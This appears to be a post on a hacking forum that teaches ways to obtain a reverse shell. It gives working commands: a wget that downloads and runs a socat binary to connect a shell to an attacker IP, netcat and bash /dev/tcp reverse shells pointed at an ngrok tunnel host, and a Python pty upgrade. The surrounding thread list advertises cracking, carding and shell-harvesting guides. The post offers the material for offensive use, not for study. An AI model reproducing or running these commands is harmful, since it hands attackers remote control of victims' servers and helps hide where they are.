Article: No. 2 Methods of obtaining a Reverse shell
by OstapBender - Saturday December 16, 2023 at 08:34 PM
#1
Good afternoon, dear forum members!
Continued Article: Methods of obtaining a Reverse shell
But on the server: wget -q https://github.com/andrew-d/static-binar...6_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:5555
(if one team does not pass, you can divide it into components).
[Image: 1660773588252-png.62488]
and we get this:
[Image: 1660773664489-png.62489]
As you can see, we now have a tty reverse shell. On the above mentioned site you can find other options for getting a forward and reverse shell, as well as many other interesting perks such as privilege escalation on Linux systems, etc.
One more thing I'd like to point out is getting a reverse shell if you don't have a "white" IP address. Where to direct the connection? The ngrok service - www.ngrok.com - comes to the rescue.

NGROK
First you need to register or use Google or Facebook accounts. Then download the program for our system:
[Image: 1660773794525-png.62490]
Throw the program in a convenient place and study help - ngrok -h:
[Image: 1660773910910-png.62491]
1. Start ngrok (ngrok tcp 4444). Our reverse-shell will accept an incoming connection from the Internet and route it to port 4444.
[Image: 1660773965228-png.62492]
2. Start netcat (nc -lnvp 4444). NC will listen to port 4444 and when the connection is redirected to it and the port opens, the shell will start.
[Image: 1660773999130-png.62493]
3. Run one of the reverse-shells. For example, use the same Netcat: nc 2.tcp.ngrok.io 16977 -e /bin/bash or Bash: bash -c 'exec bash -i &>/dev/tcp/2.tcp.ngrok.io /16977 <&1'

4. A connection will open in the terminal on the attacking machine
[Image: 1660774057540-png.62494]
5. Use Python to get an interactive tty shell python3 -c 'import pty; pty.spawn("/bin/bash")'
[Image: 1660774134573-png.62495]
Voilà!

That's all for now. Thank you for your attention!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  GET 30 DAYS FREE PREMIUM CRACKING,CARRDING,HACKING, AND FEW OTHER METHODS GUIDES HERE KabilMyz 2 376 09-17-2026, 03:04 PM
Last Post: Arbeitslos33
  [FREE GUIDE] SQLI vBulletin 5 And Get A PHP Shell By Donjuji LilFrag 63 4,178 12-27-2025, 06:08 PM
Last Post: truth_bf
  Private bot get lot shell/cpanel/smtp/wp-admin/webmail rootx505 0 301 04-03-2025, 04:50 AM
Last Post: rootx505
  Verified Cracking Tutorials, Methods and Partnerhsip With MM Services RayPeena1 0 329 03-18-2025, 02:53 PM
Last Post: RayPeena1
  1Month Free Premium Cracking Tutotials And Methods with Others Patel205 0 500 02-18-2025, 02:58 AM
Last Post: Patel205



 Users browsing this thread: 1 Guest(s)